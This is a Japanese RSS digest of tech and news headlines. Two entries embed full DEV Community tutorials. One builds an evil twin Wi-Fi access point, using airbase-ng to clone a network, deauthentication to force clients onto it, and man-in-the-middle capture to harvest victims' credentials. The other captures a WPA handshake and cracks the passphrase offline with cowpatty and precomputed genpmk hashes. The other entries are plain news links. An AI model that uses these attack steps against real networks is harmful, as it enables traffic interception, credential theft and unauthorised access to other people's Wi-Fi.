投稿時間:2023-06-04 09:17:27 RSSフィード2023-06-04 09:00 分まとめ(13件)

カテゴリー等	サイト名等	記事タイトル・トレンドワード等	リンクURL	頻出ワード・要約等/検索ボリューム	登録日
IT	ITmedia 総合記事一覧	[ITmedia ビジネスオンライン] 百貨店は終焉か、あるいは復活か	https://www.itmedia.co.jp/business/articles/2306/04/news044.html	itmedia	2023-06-04 08:30:00
python	Pythonタグが付けられた新着投稿 - Qiita	ABC304のE問題までを解説 【Python】~UnionFindの宝庫~	https://qiita.com/halcyonFX/items/1eb9b145de8ac39f7800	halcyon	2023-06-04 08:33:40
海外TECH	DEV Community	How to Create an Evil Twin Access Point; Step-by-Step Guide	https://dev.to/thescott12/how-to-create-an-evil-twin-access-point-step-by-step-guide-2chn	How to Create an Evil Twin Access Point Step by Step GuideStep by Step Guide Creating an Evil TwinAn Evil Twin Access Point is a malicious wireless access point that is set up to mimic a legitimate one It can be used to intercept sensitive information such as login credentials credit card information and other private data In this post I will provide a step by step guide on how to create an Evil Twin Access Point You will learn how to set up a fake access point that looks like the real one and how to intercept data from unsuspecting victims Follow our guide and learn how to create an Evil Twin Access Point in just a few easy steps What is an Evil Twin Access Point An evil twin is a fake wireless access point that appears as a genuine hotspot offered by a legitimate provider The idea is to set up a malicious wireless network with the same SSID name as the original one Devices connecting to a Wi Fi network like laptops tablets and smartphones have no way to distinguish between two Wi Fi networks with the same SSID name This enables hackers to set up malicious wireless networks that can capture traffic and extract sensitive information from victims Enable Monitor Mode To start with this tutorial ensure that your wireless card is compatible with the aircrack ng suite and has monitor mode enabled Aircrack ng is a popular set of tools used to crack wireless networks It is a suite of tools that includes aircrack ng for cracking WEP and WPA PSK keys airmon ng for setting up monitor mode on wireless cards and airodump ng for capturing wireless traffic Aircrack ng is an open source project and is available for Windows Linux and macOS You can verify if it s functioning correctly by entering the following command airmon ng check killThis command will check if the wireless card is supported by the aircrack ng suite and also disable any processes that may interfere with it The next step is to enable monitor mode on your wireless interface This can be accomplished by executing the airmon ng start wlan command airmon ng start wlanThis will change wlan to wlanmon which indicates that your wireless interface is now in monitor mode Locate the Target Wireless Network The second step is to start scanning nearby wireless routers and locate the Wi Fi network which you want to clone Execute the following command airodump ng wlanmonCH BAT hours mins Elapsed s BSSID PWR Beacons Data s CH MB ENC CIPHER AUTH ESSID EF e WPA CCMP PSK Linksys EF e WPA CCMP PSK SkyNet EF e WPA CCMP PSK TP LINK EF e WPA CCMP PSK CISCO NetBSSID STATION PWR Rate Lost Packets Probes EF EF The wireless network I will be cloning in this tutorial is the SkyNet network with BSSID EF and channel Create the Evil TwinOnce you ve found the network which you wish to clone run the following command in another terminal airbase ng a EF e SkyNet c wlanmon airbase ng a EF essid SkyNet c wlanmon Created tap interface at Trying to set MTU on at to Trying to set MTU on wlanmon to Access Point with BSSID EF started This command creates an Evil Twin network with the SSID name SkyNet however it will not be able to provide internet access yet Provide Internet Access to the Evil TwinI will add the bridge interface called fake you can name it any way you like brctl addbr fakeNow add the two interfaces you re bridging eth and at make sure eth has internet access brctl addif fake ethbrctl addif fake atAssign IP addresses to the interface and bring them up using ifconfig ifconfig at upifconfig fake upYou can take a look at the bridge network interface with ifconfig ifconfigat Link encap Ethernet HWaddr a inet addr fe aff b Scope LinkUP BROADCAST RUNNING MULTICAST MTU Metric RX packets errors dropped overruns frame TX packets errors dropped overruns carrier collisions txqueuelen RX bytes B TX bytes KiB eth Link encap Ethernet HWaddr c bc cinet addr Bcast Mask inet addr fe cabc ac Scope LinkUP BROADCAST RUNNING MULTICAST MTU Metric RX packets errors dropped overruns frame TX packets errors dropped overruns carrier collisions txqueuelen RX bytes KiB TX bytes KiB Interrupt fake Link encap Ethernet HWaddr ainet addr Bcast Mask inet addr fe fe b Scope Linkinet addr d aff fe b Scope GlobalUP BROADCAST RUNNING MULTICAST MTU Metric RX packets errors dropped overruns frame TX packets errors dropped overruns carrier collisions txqueuelen RX bytes KiB TX bytes KiB Kick Wireless Clients from the Legitimate AP The next step is to kick wireless clients off the legitimate AP in my case that s SkyNet network You can do this by using aireplay ng aireplay ng deauth a EF wlanmonThis command kicks wireless clients from the real access point network forcing them to connect to the malicious access point As you can see in the output below a client has associated with my evil twin This information is found in the airebase ng terminal client EF associated airbase ng a EF essid SkyNet c wlanmon Created tap interface at Trying to set MTU on at to Trying to set MTU on wlan to Access Point with BSSID EF started Client EF associated WPA CCMP to ESSID SkyNet Client EF associated WPA CCMP to ESSID SkyNet At this point all the victim s traffic is going through the attacker s machine he or she can capture sensitive information since it s technically a Man in the Middle attack The attacker can perform various attacks like DNS spoofing which redirects the victim to a cloned or fake login page Once the victim tries to login the hacker harvests the credentials ConclusionIn today s digital age using public Wi Fi networks has become a common practice for many people However it s important to be aware of the risks associated with connecting to these networks as they can be vulnerable to cyber attacks and hacking attempts	2023-06-03 23:41:39
海外TECH	DEV Community	How to Speed up the WPA/WPA2 Password Cracking Process using Cowpatty	https://dev.to/thescott12/how-to-speed-up-the-wpawpa2-password-cracking-process-using-cowpatty-52b3	How to Speed up the WPA WPA Password Cracking Process using CowpattyRequirements Kali Linux Operating System Handshake File of the Network that You Want to Hack Wordlist Cowpatty by Joshua Wright is a tool that automates offline dictionary attacks for cracking WPA PSK passwords Cowpatty supports using a pre computed hash file rather than a plain text word file This can speed up the obtaining process of the “lost WPA WPA key of your access point Pre computed hash files are used to accelerate password brute force when cracking WPA They do this by eliminating the need to perform the costly transformation of a password into an encryption key CowpattyTo get a brief rundown of the options type cowpatty in the terminal cowpattycowpatty WPA PSK dictionary attack jwright hasborg comUsage cowpatty options f Dictionary file d Hash file genpmk r Packet capture file s Network SSID enclose in quotes if SSID includes spaces c Check for valid way frames does not crack h Print this help information and exit v Print verbose information more v for more verbosity V Print program version and exitKali Linux will provide you with a brief help screen Cowpatty requires all of the following A word list A file where the password hash has been captured The SSID of the target AP Put the Wireless Adapter in Monitor ModeYou need to put the wireless adapter into monitor mode by typingairmon ng start wlan assuming your interface name is wlan airmon ng start wlanThis command will change your wireless interface name to wlanmon Find The TargetStart scanning nearby wireless routers using your monitor interface airodump ng wlanmonCH BAT hours mins Elapsed s BSSID PWR Beacons Data s CH MB ENC CIPHER AUTH ESSID EF e WPA CCMP PSK Linksys EF e WPA CCMP PSK SkyNet EF e WPA CCMP PSK TP LINK EF e WPA CCMP PSK CISCO NetBSSID STATION PWR Rate Lost Packets Probes EF EF Capture the HandshakeNext you need to start capturing the way handshake file where the hashed password will be stored airodump ng ーbssid EF c w handshake wlanmonThis will start a dump on the selected AP EF on the selected channel c and save the hash in a file named handshake CH Elapsed s WPA handshake EF BSSID PWR RXQ Beacons Data s CH MB ENC CIPHER AUTH ESSID EF WPA CCMP PSK SkyNetBSSID STATION PWR Lost Packets Probes EF EF If someone connects to the AP I will capture the hash and airodump ng will show me it has been captured in the upper right hand corner WPA handshake EF Run CowpattyNow that I have the hash of the password I can use it with cowpatty and the wordlist to crack the hash cowpatty f wordlist txt r handshake cap s SkyNetcowpatty WPA PSK dictionary attack lt jwright hasborg com gt Collected all necessary data to mount crack against WPA PSK passphrase Starting dictionary attack Please be patient key no angelgirlkey no missourikey no birdsongThe PSK is justletmein passphrases tested in seconds passphrases secondCowpatty is generating a hash of every word on the wordlist with the SSID as a seed and compares it to the captured hash When the hashes match it displays the password of the AP This process is very CPU intensive and slow Cowpatty now supports using a pre computed hash file rather than a plain text word file making the cracking of the WPA PSK password much faster You can generate your own hashes for the target SSID using a tool called genpmk genpmk f wordlist txt d hash s SkyNetgenpmk WPA PSK precomputation attack lt jwright hasborg com gt File cowpatty dict does not exist creating key no pinkgirlkey no lovecandykey no stevekey no honeycow passphrases tested in seconds passphrases secondOnce you have generated the hash for the particular SSID you can then crack the password with cowpatty by typing cowpatty d hash r handshake cap s SkyNet d argument is for pre calculated pmk hash name r is for capture handshake file s is for ESSID network name	2023-06-03 23:27:32
海外TECH	Engadget	Scientists claim they're the first to transmit space-based solar power to Earth	https://www.engadget.com/space-based-solar-power-first-successful-experiment-caltech-000046036.html?src=rss	Scientists claim they x re the first to transmit space based solar power to EarthThe idea of solar energy being transmitted from space is not a new one In a NASA engineer named Peter Glaser produced the first concept design for a solar powered satellite But only now years later does it appear scientists have actually carried out a successful experiment A team of researchers from Caltech announced on Thursday that their space borne prototype called the Space Solar Power Demonstrator SSPD had collected sunlight converted it into electricity and beamed it to microwave receivers installed on a rooftop on Caltech s Pasadena campus The experiment also proves that the setup which launched on January is capable of surviving the trip to space along with the harsh environment of space itself nbsp quot To the best of our knowledge no one has ever demonstrated wireless energy transfer in space even with expensive rigid structures We are doing it with flexible lightweight structures and with our own integrated circuits This is a first quot said Ali Hajimiri professor of electrical engineering and medical engineering and co director of Caltech s Space Solar Power Project SSPP in a press release published on Thursday nbsp The experiment ーknown in full as Microwave Array for Power transfer Low orbit Experiment or MAPLE for short ーis one of three research projects being carried out aboard the SSPD The effort involved two separate receiver arrays and lightweight microwave transmitters with custom chips according to Caltech In its press release the team added that the transmission setup was designed to minimize the amount of fuel needed to send them to space and that the design also needed to be flexible enough so that the transmitters could be folded up onto a rocket Space based solar power has long been something of a holy grail in the scientific community Although expensive in its current form the technology carries the promise of potentially unlimited renewable energy with solar panels in space able to collect sunlight regardless of the time of day The use of microwaves to transmit power would also mean that cloud cover wouldn t pose an interference as Nikkeinotes Caltech s Space Solar Power Project SSSP is hardly the only team that has been attempting to make space based solar power a reality Late last month a few days before Caltech s announcement Japan s space agency JAXA announced a public private partnership that aims to send solar power from space by The leader of that project a Kyoto University professor has been working on space based solar power since Japan also had a breakthrough of its own nearly a decade ago in when JAXA scientists transmitted kilowatts of power ーabout enough energy to power an electric kettle ーmore than meters to a wireless receiver nbsp The Space Solar Power Project was founded back in In addition to MAPLE the SSPD is being used to assess what types of cells are the most effective in surviving the conditions of space The third experiment is known as DOLCE Deployable on Orbit ultraLight Composite Experiment a structure measuring six by six feet that quot demonstrates the architecture packaging scheme and deployment mechanisms of the modular spacecraft quot according to Caltech It has not yet been deployed This article originally appeared on Engadget at	2023-06-04 00:00:46
ニュース	BBC News - Home	Winning BGT would mean bigger house - Ghetto Kids	https://www.bbc.co.uk/news/world-africa-65796859?at_medium=RSS&at_campaign=KARANGA	talent	2023-06-03 23:27:25
ニュース	BBC News - Home	'Mortgage costs right now are terrifying'	https://www.bbc.co.uk/news/business-65778634?at_medium=RSS&at_campaign=KARANGA	buyers	2023-06-03 23:27:29
ニュース	BBC News - Home	Your pictures on the theme of 'bridges'	https://www.bbc.co.uk/news/in-pictures-65753973?at_medium=RSS&at_campaign=KARANGA	bridges	2023-06-03 23:17:25
ビジネス	東洋経済オンライン	RISING SUN開催地で再エネ100%ゾーン実現の訳 ｢REゾーン｣の現場で見えた水素事業の着地点 | トレンド | 東洋経済オンライン	https://toyokeizai.net/articles/-/675634?utm_source=rss&utm_medium=http&utm_campaign=link_back	risingsun	2023-06-04 09:00:00
ビジネス	東洋経済オンライン	"猫"のために｢リノベ｣したお家ビフォーアフター 人にとっても猫にとっても快適な空間を実現 | 街･住まい | 東洋経済オンライン	https://toyokeizai.net/articles/-/675101?utm_source=rss&utm_medium=http&utm_campaign=link_back	東洋経済オンライン	2023-06-04 08:30:00
ビジネス	プレジデントオンライン	｢氷山のない北極海｣はいったい誰のものなのか…温暖化が｢北極での米ロ対立｣を招いている根本原因 - 氷がなければ海中から核ミサイルが発射できる	https://president.jp/articles/-/70243	地球温暖化	2023-06-04 09:00:00
ビジネス	プレジデントオンライン	ADHDの子供の注意力も改善した…サプリメントで手軽に摂れる｢脳によい油｣の驚きの効果 - 脳の灰白質が成長し､構造まで完璧に整う	https://president.jp/articles/-/70241	驚き	2023-06-04 09:00:00
IT	週刊アスキー	キンキンに冷えた冷水を気軽に飲める！　2Lだからセッティングが簡単な卓上ウォーターサーバー	https://weekly.ascii.jp/elem/000/004/139/4139352/	折りたたみ	2023-06-04 09:00:00